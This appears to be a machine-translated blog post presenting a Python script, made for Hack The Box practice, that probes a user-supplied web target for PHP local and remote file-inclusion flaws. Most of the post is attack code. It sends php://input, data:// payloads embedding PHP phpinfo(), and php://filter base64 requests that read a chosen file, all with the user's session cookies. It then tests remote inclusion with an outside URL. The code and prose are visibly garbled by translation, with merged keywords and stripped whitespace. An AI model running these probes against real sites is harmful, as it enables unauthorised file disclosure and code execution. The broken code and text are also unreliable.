Python build file contains vulnerability detection Tool

0x00 Preface:

Do hack the box question. It feels like the platform has a VIP.

Otherwise it'll be cool. Can only be reset once a day ... Mmp

The poison is a file containing the problem of the vulnerability, involving a tool

Look good on the development of a.

0x01 Code:

ImportRequestsImportThreadingImportOSImport TimeImportsyscookies={}urls=input ('Please enter the target:') User=input ('Enter The file want to read:') User2=input ('Enter your cookie:') forLieinchUser2.split (';'): Key,value=lie.split ('=', 1) Cookies[key]=Valuepayload='Php://input'payload2='data:text/plain,<?php phpinfo ();? >%00'payload2s='data:text/plain,<?php phpinfo ();? >'payload3='php://filter/read=convert.base64-encode/resource={}'. Format (user) Error=['404','Not Found','Warning','does not exist','I can't find them .','Firewall','Safe Dog','Cloud Lock']defexploitone (user): Headers={'user-agent':'mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoobrowser;. NET CLR 1.1.4322;. NET CLR 2.0.50727)'} URL=User Pocone=url+Payload Poctwo=url+payload2 Pocsan=url+payload3 POCSI=url+PAYLOAD2S Request=requests.get (url=pocone,headers=headers,cookies=cookies) Request2=requests.get (url=poctwo,headers=headers,cookies=cookies) Request3=requests.get (url=pocsan,headers=headers,cookies=cookies) Request4=requests.get (url=pocsi,headers=headers,cookies=cookies) OK=[]     forEinchError:ifrequest.status_code==200:            ifEinchStr (request.text):Print('[-]php://input protocol does not support')            Else: Ok.append ('[+]support php://input protocol poc:{}'. Format (request.url))ifrequest2.status_code==200:            ifEinchStr (request2.text):Print('[-]data://protocol that does not support%00 truncation')            Else: Ok.append ('[+]data://protocol that supports%00 truncation poc2:{}'. Format (request2.url))ifrequest3.status_code==200:            ifEinchStr (request3.text):Print('[-]do not support the use of php://filter/read=convert.base64-encode/resource=')            Else: Ok.append ('[+]support php://filter/read=convert.base64-encode/resource= poc3:{}'. Format (request3.url))ifrequest4.status_code==200:            ifEinchStr (request4.text):Print('[-]data://protocol does not support')            Else: Ok.append ('[+]support with data://protocol poc4:{}'. Format (request4.url))ifLen (OK) >0:v=List (set (OK)) forvvinchV:Print(VV) Exploitone (Urls.rstrip ())defexploittwo (): PoC='http://www.baidu.com'URL=urls.rstrip () +POC Headers={'user-agent':'mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoobrowser;. NET CLR 1.1.4322;. NET CLR 2.0.50727)'} request2=requests.get (url=url,headers=headers,cookies=cookies) Yuan=[]     forEinchError:ifrequest2.status_code==200:            ifEinchStr (request2.text):Print('[-]remote Inclusion failure')            Else: Yuan.append ('[+]allow remote inclusion poc:{}'. Format (request2.url))ifLen (Yuan) >0:s=List (set (yuan)) forBinchS:Print(b) exploittwo ()

Test:

Ideas:

Detect a variety of protocols before testing remote containment vulnerabilities

There was a detection path, but it was too slow to run.

Python build file contains vulnerability detection Tool